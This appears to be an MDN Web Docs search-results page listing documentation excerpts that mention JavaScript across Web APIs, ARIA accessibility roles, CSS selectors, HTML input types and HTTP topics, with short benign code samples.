... there are numerous available free and open source tools for transcoding content and preparing it for use with dash, dash file servers, and dash client libraries written in javascript.
Online and offline events - Web APIs
you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascript function object.
... here's the javascript part: window.addeventlistener('load', function() { var status = document.getelementbyid("status"); var log = document.getelementbyid("log"); function updateonlinestatus(event) { var condition = navigator.online ?
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
then we run some javascript to compare the nodes using isequalnode() and output the results.
... html <div>this is the first element.</div> <div>this is the second element.</div> <div>this is the first element.</div> <p id="output"></p> css #output { width: 440px; border: 2px solid black; border-radius: 5px; padding: 10px; margin-top: 20px; display: block; } javascript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 equals div 0: " + divlist[0].isequalnode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 equals div 1: " + divlist[0].isequalnode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 equals div 2: " + divlist[0].isequalnode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node.isequalnode' in that speci...
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
then we run some javascript to compare the nodes using issamenode() and output the results.
... html <div>this is the first element.</div> <div>this is the second element.</div> <div>this is the first element.</div> <p id="output"></p> css #output { width: 440px; border: 2px solid black; border-radius: 5px; padding: 10px; margin-top: 20px; display: block; } javascript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 same as div 0: " + divlist[0].issamenode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 same as div 1: " + divlist[0].issamenode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 same as div 2: " + divlist[0].issamenode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node: issamenode' in that spec...
PromiseRejectionEvent() - Web APIs
the promiserejectionevent() constructor returns a newly created promiserejectionevent, which represents events fired when a javascript promise is rejected.
... there are two types of promiserejectionevent: unhandledrejection is sent by the javascript runtime when a promise is rejected but the rejection goes unhandled.
PromiseRejectionEvent.promise - Web APIs
the promiserejectionevent interface's promise read-only property indicates the javascript promise which was rejected.
... syntax promise = promiserejectionevent.promise value the javascript promise which was rejected, and whose rejection went unhandled.
RTCPeerConnection.peerIdentity - Web APIs
the read-only rtcpeerconnection property peeridentity returns a javascript promise that resolves to an rtcidentityassertion which contains a domstring identifying the remote peer.
... syntax var identity = rtcpeerconnection.peeridentity; value a javascript promise which resolves to an rtcidentityassertion that describes the remote peer's identity.
Range.setStart() - Web APIs
WebAPIRangesetStart
main st.<br> dodge city, ks<br> 67801<br> usa</p> <hr> <p>nodes in the original address:</p> <ol id="log"></ol> javascript const address = document.getelementbyid('address'); const log = document.getelementbyid('log'); // log info address.childnodes.foreach(node => { const li = document.createelement('li'); li.textcontent = `${node.nodename}, ${node.nodevalue}`; log.appendchild(li); }); // highlight the street and city const startoffset = 2; // start at third node: 101 e.
... html <p id="content">0123456789</p> <p id="log"></p> javascript const element = document.getelementbyid('content'); const textnode = element.childnodes[0]; const range = document.createrange(); range.setstart(textnode, 0); // start at first character range.setend(textnode, 5); // end at fifth character document.getelementbyid('log').textcontent = range; result specifications specification status comment domthe definition of '...
Reporting API - Web APIs
the reporting api's purpose is to provide a consistent reporting mechanism that can be used to make such information available to developers in the form of reports represented by javascript objects.
... reporting observers reports can also be obtained via reportingobserver objects created via javascript inside the website you are aiming to get reports on.
ServiceWorkerContainer.register() - Web APIs
the registered service worker file needs to have a valid javascript mime type.
... alternatively, if this code were included in a page at example.com/product/description.html, with the javascript file residing at example.com/product/sw.js, then the service worker would only apply to resources under example.com/product.
Service Worker API - Web APIs
it takes the form of a javascript file that can control the web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available).
... a service worker is run in a worker context: it therefore has no dom access, and runs on a different thread to the main javascript that powers your app, so it is non-blocking.
ShadowRoot.mode - Web APIs
WebAPIShadowRootmode
this defines whether or not the shadow root's internal features are accessible from javascript.
... when the mode of a shadow root is "closed", the shadow root’s implementation internals are inaccessible and unchangeable from javascript—in the same way the implementation internals of, for example, the <video> element are inaccessible and unchangeable from javascript.
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful!
...the first object is required, and creates a model in javascript of the underlying source the data is being read from.
Using writable streams - Web APIs
as a javascript developer, programmatically writing data to a stream is very useful!
...the first object is required, and creates a model in javascript of the underlying sink the data is being written to.
TextEncoder.prototype.encodeInto() - Web APIs
u8array.subarray(position|0) : u8array); } var u8array = new uint8array(8); encodeintoatposition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 buffer sizing to convert a javascript string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes.
... if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your wasm program from seeing a logically truncated string if the javascript string contained u+0000.
Getting started with WebGL - Web APIs
webgl programs consist of control code written in javascript and shader code (glsl) that is executed on a computer's graphics processing unit (gpu).
... <body> <canvas id="glcanvas" width="640" height="480"></canvas> </body> preparing the webgl context the main() function in our javascript code, is called when our script is loaded.
WebGL best practices - Web APIs
every webgl error is reported in the web console as a javascript warning with a descriptive message.
...it offers a way to support all common compressed texture formats with a single compressed texture file, through a javascript library that efficiently converts formats at load time.
Taking still photos with WebRTC - Web APIs
<div class="camera"> <video id="video">video stream not available.</video> <button id="startbutton">take photo</button> </div> this is straightforward, and we'll see how it ties together when we get into the javascript code.
... the javascript code now let's take a look at the javascript code.
Writing WebSocket servers - Web APIs
a websocket server can be written in any server-side programming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascript.
...in pseudo-code (that happens to be valid javascript): var decoded = ""; for (var i = 0; i < encoded.length; i++) { decoded[i] = encoded[i] ^ mask[i % 4]; } now you can figure out what decoded means depending on your application.
Starting up and shutting down a WebXR session - Web APIs
be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with newer javascript features your target browsers include.
...the javascript code must, likewise, have been loaded securely.
Advanced techniques: Creating and sequencing audio - Web APIs
to do so, we need to pass real and imaginary values into the baseaudiocontext.createperiodicwave() method.: let wave = audioctx.createperiodicwave(wavetable.real, wavetable.imag); note: in our example the wavetable is held in a separate javascript file (wavetable.js), because there are so many values.
...we can allow the user to control these using range inputs on the interface: <label for="attack">attack</label> <input name="attack" id="attack" type="range" min="0" max="1" value="0.2" step="0.1" /> <label for="release">release</label> <input name="release" id="release" type="range" min="0" max="1" value="0.5" step="0.1" /> now we can create some variables over in javascript and have them change when the input values are updated: let attacktime = 0.2; const attackcontrol = document.queryselector('#attack'); attackcontrol.addeventlistener('input', function() { attacktime = number(this.value); }, false); let releasetime = 0.5; const releasecontrol = document.queryselector('#release'); releasecontrol.addeventlistener('input', function() { releasetime = number(...
Migrating from webkitAudioContext - Web APIs
createjavascriptnode() has been renamed to createscriptprocessor.
... if your code uses either of these names, like in the example below : // old method names var gain = context.creategainnode(); var delay = context.createdelaynode(); var js = context.createjavascriptnode(1024); you can simply rename the methods to look like this: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions.
Window.devicePixelRatio - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // set display size (css pixels).
... javascript the javascript code creates the media query that monitors the device resolution and checks the value of devicepixelratio any time it changes.
window.dump() - Web APIs
WebAPIWindowdump
notes a common use of dump() is to debug javascript.
... dump() is also available to xpcom components implemented in javascript, even though window is not the global object in components.
Window.getComputedStyle() - Web APIs
html <p>hello</p> css p { width: 400px; margin: 0 auto; padding: 20px; font: 2rem/2 sans-serif; text-align: center; background: purple; color: white; } javascript let para = document.queryselector('p'); let compstyles = window.getcomputedstyle(para); para.textcontent = 'my computed font-size is ' + compstyles.getpropertyvalue('font-size') + ',\nand my computed line-height is ' + compstyles.getpropertyvalue('line-height') + '.'; result description the returned object is the same cssstyledeclaration type as the object returned from the ...
... the element.style object should be used to set styles on that element, or inspect styles directly added to it from javascript manipulation or the global style attribute.
Window.getSelection() - Web APIs
examples function foo() { var selobj = window.getselection(); alert(selobj); var selrange = selobj.getrangeat(0); // do stuff with the range } notes string representation of the selection object in javascript, when an object is passed to a function expecting a string (like window.alert() or document.write()), the object's tostring() method is called and the returned value is passed to the function.
...however, attempting to use a javascript string property or method such as length or substr directly on a selection object will result in an error if it does not have that property or method and may return unexpected results if it does.
Window.window - Web APIs
WebAPIWindowwindow
yet another reason to use this property, is for libraries which wish to offer oop-versions, and non-oop versions (especially javascript modules).
... for example, if we refer to "this.window.location.href", a javascript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which could be created after passing in a window object to the module class' constructor.
WindowEventHandlers.onbeforeunload - Web APIs
firefox prompt will always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by removing the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render content, the javascript may stop when leaving and then navigating back to the page.
...if you do so, javascript in the page will be triggered on the subsequent return visit and update the content as desired.
Worker.prototype.postMessage() - Web APIs
the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
WorkerGlobalScope.importScripts() - Web APIs
exceptions networkerror imported scripts were not served with a valid javascript mime type (i.e.
... text/javascript).
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
the addmodule() method of the worklet interface loads the module in the given javascript file and adds it to the current worklet.
... syntax addpromise = worklet.addmodule(moduleurl); addpromise = worklet.addmodule(moduleurl, options); parameters moduleurl a string containing the url of a javascript file with the module to add.
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
...}; var blob = new blob(['abc123'], {type: 'text/plain'}); oreq.send(blob); sending typed arrays as binary data you can send javascript typed arrays as binary data as well.
Using XMLHttpRequest - Web APIs
if you want to perform the same effects using javascript you have to instruct the interpreter about everything.
...for this reason, here we place a complete (yet didactic) framework, able to use all four ways to submit, and to upload files: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>sending forms with pure ajax &ndash; mdn</title> <script type="text/javascript"> "use strict"; /*\ |*| |*| :: xmlhttprequest.prototype.sendasbinary() polyfill :: |*| |*| https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function(sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx...
XMLHttpRequest.responseType - Web APIs
arraybuffer the response is a javascript arraybuffer containing binary data.
... json the response is a javascript object created by parsing the contents of received data as json.
XMLHttpRequestResponseType - Web APIs
arraybuffer the response is a javascript arraybuffer containing binary data.
... json the response is a javascript object created by parsing the contents of received data as json.
XRInputSourceArray.keys() - Web APIs
the keys() method in the xrinputsourcearray interface returns a javascript iterator which can then be used to iterate over the keys used to reference each item in the array of input sources.
... return value a javascript iterator that can be used to walk through the keys for each entry in the list of input sources.
XRInputSourceArray.values() - Web APIs
the xrinputsourcearray method values() returns a javascript iterator that can walk over the list of xrinputsource objects contained in the array, from first to last.
... return value a javascript iterator that can be used to walk through the list of xrinputsource objects in the array, starting with the first entry (at index 0) and proceeding straight through the list.
Using the link role - Accessibility
this includes javascript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology.
...l <h1>role="link" example</h1> <span data-href="https://mozilla.org" tabindex="0" id="link1" role="link" class="link"> fake accessible link created using a span </span> <p><a href="https://mozilla.org" target="_blank">actual real link</a></p> css span[role="link"] { color: blue; text-decoration: underline; cursor: pointer; } span[role="link"]:focus { outline: 1px dotted black; } javascript const spanelem = document.queryselector('span'); //handles clicks and keydowns on the link function navigatelink(e) { if (e.type === 'click' || e.key === 'enter') { let ref = e.target != null ?
ARIA: timer role - Accessibility
required javascript features keypress used to handle keyboard input and control the focus click, touch handle as appropriate for your widget as well changing attribute values aria-activedescendant is used to manage the focus inside the application container.
... <div id="clock" role="timer" aria-live="off">20</div> <button onclick="starttimer('clock')">start</button> /* basic javascript to update a timer */ function starttimer(timername) { // get the number of seconds let timer = document.getelementbyid(timername), seconds = parseint(timer.innertext); // remove a second // updated the content of timer timer.innertext = --seconds // if timer != 0, settimeout if (seconds) { settimeout( function() { starttimer(timername); }, 1000); } } the ...
ARIA: banner role - Accessibility
associated aria roles, states, and properties none keyboard interactions none required javascript features none examples here's a fake simple banner with a skip to navigation link, a logo, a title and a subtitle.
...if this is the case, you can add the role of banner to the main header of the page with javascript.
ARIA: form role - Accessibility
keyboard interactions no role specific keyboard interactions required javascript features onsubmit the onsubmit event handler handles the event raised when the form is submitted.
... anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest.
ARIA: grid role - Accessibility
serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.
...dy> </table> css table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.
ARIA: List role - Accessibility
required javascript features none.
... examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript.
ARIA: Listitem role - Accessibility
required javascript features none.
... examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript.
ARIA: switch role - Accessibility
required javascript features handler for click events when the user clicks on the switch widget, a click event is fired, which must be handled in order to change the state of the widget.
... <button role="switch" aria-checked="true" id="speakerpower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerpower" class="switch">speaker power</label> javascript this javascript code defines and applies a function to handle click events on switch widgets.
ARIA: textbox role - Accessibility
div role="textbox" contenteditable="true" aria-placeholder="5-digit zipcode" aria-labelledby="txtboxlabel"></div> <!-- multi-line text area --> <div id="txtboxmultilinelabel">enter the tags for the article</div> <div role="textbox" contenteditable="true" aria-multiline="true" aria-labelledby="txtboxmultilinelabel" aria-required="true"></div> semantic elements are more concise and require no javascript to support textbox features.
... javascript features all features associated with any and all properties and states must be maintained, and forms submission on enter or return on a single line textbox needs to be handled.
Basic form hints - Accessibility
id="wine-3" type="checkbox" value="pinot-grigio"/> <label for="wine-3">pinot grigio</label> </li> <li> <input id="wine-4" type="checkbox" value="gewurztraminer"/> <label for="wine-4">gewürztraminer</label> </li> </ul> </form> labeling with aria the html <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic javascript widget, using <div>s or <span>s.
...the second part of the example, a snippet of javascript validates the email format, and sets the aria-invalid attribute of the email field (line 12 of the html) according to the result (in addition to changing the presentation of the element).
Web accessibility for seizures and physical reactions - Accessibility
web technologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of content that can induce seizures or other incapacitating physical reactions.
...a <div> element set to change color and luminosity at high frequency, easily done via javascript, can cause real harm.
Understandable - Accessibility
it is advisable to implement client-side error detection and handling, via html5 form validation features, and/or javascript, whatever is best for your situation.
... in such cases, when this is appropriate, you'll probably use a combination of javascript and server-side functionality to check if the entry is correct, and if not, what viable suggestions can be given to the user.
-moz-image-rect - CSS: Cascading Style Sheets
these four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispatch them to our javascript code.
... the javascript code this code handles the click event when the container receives a mouse click.
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
it uses the javascript change event to let the user enable/disable the billing fields.
...g address</legend> <label for="billing-checkbox">same as shipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled { background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing ...
:indeterminate - CSS: Cascading Style Sheets
/* selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields.
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label { background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
javascript let paragraph = document.getelementbyid("para"); let output = document.getelementbyid("output"); if (paragraph.matches(":scope")) { output.innertext = "yep, the element is its own scope as expected!"; } html <p id="para"> this is a paragraph.
... javascript var context = document.getelementbyid('context'); var selected = context.queryselectorall(':scope > div'); document.getelementbyid('results').innerhtml = array.prototype.map.call(selected, function (element) { return '#' + element.getattribute('id'); }).join(', '); html <div id="context"> <div id="element-1"> <div id="element-1.1"></div> <div id="element-1.2"></div> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p...
@media - CSS: Cascading Style Sheets
WebCSS@media
note: in javascript, the rules created using @media can be accessed with the cssmediarule css object model interface.
...javascript) is available added in media queries level 5.
CSS Properties Reference - CSS: Cascading Style Sheets
common css properties reference the following is a basic list of the most common css properties with the equivalent of the dom notation which is usually accessed from javascript: note: this list is incomplete.
... css javascript background background background-attachment backgroundattachment background-color backgroundcolor background-image backgroundimage background-position backgroundposition background-repeat backgroundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-bottom-style borderbottomstyle border-bottom-width borderbottomwidth border-color bordercolor border-left borderleft border-left-color borderleftcolor ...
Using media queries - CSS: Cascading Style Sheets
to test and monitor media states using the window.matchmedia() and mediaquerylist.addlistener() javascript methods.
...javascript) is available added in media queries level 5.
Media queries - CSS: Cascading Style Sheets
media queries in javascript in javascript, you can use the window.matchmedia() method to test the window against a media query.
... testing media queries programmatically describes how to use media queries in your javascript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser).
float - CSS: Cascading Style Sheets
WebCSSfloat
table-row block table-row-group block table-column block table-column-group block table-cell block table-caption block table-header-group block table-footer-group block inline-flex flex inline-grid grid other unchanged note: if you're referring to this property from javascript as a member of the htmlelement.style object, modern browsers support float, but in older browsers you have to spell it as cssfloat, with internet explorer versions 8 and older using stylefloat.
... this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for" as "htmlfor").
Demos of open web technologies
2d graphics canvas blob sallad: an interactive blob using javascript and canvas (code demos) 3d raycaster processing.js p5js 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or ...
...urce code) loader with blend modes text reveal with clip-path ambient shadow with custom properties luminiscent vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio showcase (source code) html5 audio visualizer (source code) graphical filter editor and visualizer (source code) file api slide my text - presentation from plain text files web workers web worker fractals photo editor coral generator raytracer hotcold touch typing ...
EXSLT
that are supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
... functions math:highest() math:lowest() math:max() math:min() regular expressions the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.
Media buffering, seeking, and time ranges - Developer guides
0 myaudio.buffered.end(0); // returns 5 myaudio.buffered.start(1); // returns 15 myaudio.buffered.end(1); // returns 19 to try out and visualize buffered time ranges we can write a little bit of html: <p> <audio id="my-audio" controls> <source src="music.mp3" type="audio/mpeg"> </audio> </p> <p> <canvas id="my-canvas" width="300" height="20"> </canvas> </p> and a little bit of javascript: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); var mycanvas = document.getelementbyid('my-canvas'); var context = mycanvas.getcontext('2d'); context.fillstyle = 'lightgray'; context.fillrect(0, 0, mycanvas.width, mycanvas.height); context.fillstyle = 'red'; context.strokestyle = 'white'; var inc = mycanvas.width / myaudio.dura...
...ring display: .buffered { height: 20px; position: relative; background: #555; width: 300px; } #buffered-amount { display: block; height: 100%; background-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%; background-color: #595; width: 0; } and the following javascript provides our functionality: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); myaudio.addeventlistener('progress', function() { var duration = myaudio.duration; if (duration > 0) { for (var i = 0; i < myaudio.buffered.length; i++) { if (myaudio.buffered.start(myaudio.buffered.length - 1 - i) < myaudio.currenttime) { do...
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
firefox writes a warning to the javascript console when it ignores a call to document.write().
...are not valid javascript escapes; the character code strategy is more general-purpose.) inline svg and mathml support as a completely new parsing feature, html5 introduced support for inline svg and mathml in text/html.
HTML5 - Developer guides
WebGuideHTMLHTML5
performance and integration web workers allows delegation of javascript evaluation to background threads, allowing these activities to prevent slowing down interactive events.
... jit-compiling javascript engines the new generation of javascript engines is much more powerful, leading to greater performance.
Using HTML sections and outlines - Developer guides
eateelement("article"); document.createelement("aside"); document.createelement("footer"); document.createelement("header"); document.createelement("nav"); document.createelement("section"); document.createelement("time"); </script> <![endif]--> as a last precaution, you could also add an explicit <noscript> element inside the <head> element to warn any users that have javascript disabled that your page relies on javascript: <noscript> <p><strong>this web page requires javascript to be enabled.</strong></p> <p>javascript is an object-oriented computer programming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaj">how to enable javascript?</a></p> </noscript> this leads to the following code to allo...
...is configured not to use scripting: <!--[if lt ie 9]> <script> document.createelement("article"); document.createelement("aside"); document.createelement("footer"); document.createelement("header"); document.createelement("nav"); document.createelement("section"); document.createelement("time"); </script> <![endif]--> <noscript> <p><strong>this web page requires javascript to be enabled.</strong></p> <p>javascript is an object-oriented computer programming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaj">how to enable javascript?</a></p> </noscript> note: this code will also cause the html validator to return errors.
User input and controls - Developer guides
once you decided the input mechanisms, you can control them using tools offered by the web platform or javascript libraries.
...the demo uses javascript to draw a ball inside a <canvas> element.
Writing forward-compatible websites - Developer guides
javascript prefix all global variable access in onfoo attributes with “window.” when an event handler content attribute (onclick, onmouseover, and so forth) is used on html element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are).
... ask the authors of any javascript libraries you use to also follow these guidelines suggest to the developers of your favorite libraries that they follow these guidelines too.
HTML attribute: pattern - HTML: Hypertext Markup Language
it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
... the pattern's regular expression, when matched against the value, must have its start anchored to the start of the string and its end anchored to the end of the string, which is slightly different from javascript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a ^(?: were implied at the start of the pattern and )$ at the end.
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
to make buttons do anything, you have to write javascript code to do the work.
... examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascript (we'll hide the css for brevity).
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } and finally, the javascript: let metersinputgroup = document.queryselector('.metersinputgroup'); let feetinputgroup = document.queryselector('.feetinputgroup'); let metersinput = document.queryselector('#meters'); let feetinput = document.queryselector('#feet'); let inchesinput = document.queryselector('#inches'); let switchbtn = document.queryselector('input[type="button"]'); switchbtn.addeventlistener('click', function(...
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
if you want to create a custom button and then customize the behaviour using javascript, you need to use <input type="button">, or better still, a <button> element.
... disabling and enabling a reset button to disable a reset button, simply specify the disabled global attribute on it, like so: <input type="reset" value="disabled" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false; in javascript this looks like btn.disabled = true or btn.disabled = false.
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
if you want to create a custom button and then customize the behavior using javascript, you need to use <input type="button">, or better still, a <button> element.
... disabling and enabling a submit button to disable a submit button, simply specify the disabled global attribute on it, like so: <input type="submit" value="disabled" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false; in javascript this looks like btn.disabled = true or btn.disabled = false.
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
tabindex - HTML: Hypertext Markup Language
it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with javascript or visually by clicking with the mouse.
... it's mostly useful to create accessible widgets with javascript.
Using the application cache - HTML: Hypertext Markup Language
testing for updates to the cache manifest you can programmatically test to see if an application has an updated cache manifest file, using javascript.
...to link to cached resources that have parameters parsed in javascript use parameters in the hash part of the link, such as other-cached-page.html#whatever?parametername=value.
Data URLs - HTTP
data:text/plain;base64,sgvsbg8sifdvcmxkiq== base64-encoded version of the above data:text/html,%3ch1%3ehello%2c%20world!%3c%2fh1%3e an html document with <h1>hello, world!</h1> data:text/html,<script>alert('hi');</script> an html document that executes a javascript alert.
... encoding in javascript the web apis have native methods to encode or decode to base64: base64 encoding and decoding.
Common MIME types - HTTP
e application/gzip .gif graphics interchange format (gif) image/gif .htm .html hypertext markup language (html) text/html .ico icon format image/vnd.microsoft.icon .ics icalendar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg jpeg images image/jpeg .js javascript text/javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptinglanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ .json json format application/json .jsonld json-ld format application/ld+json ...
... .mid .midi musical instrument digital interface (midi) audio/midi audio/x-midi .mjs javascript module text/javascript .mp3 mp3 audio audio/mpeg .mpeg mpeg video video/mpeg .mpkg apple installer package application/vnd.apple.installer+xml .odp opendocument presentation document application/vnd.oasis.opendocument.presentation .ods opendocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet .odt opendocument text document application/vnd.oasis.opendocument.text .oga ogg audio audio/ogg .ogv ogg video video/ogg .ogx ogg application/ogg .opus opus audio audio/opus .otf opentype font font/otf...
HTTP caching - HTTP
WebHTTPCaching
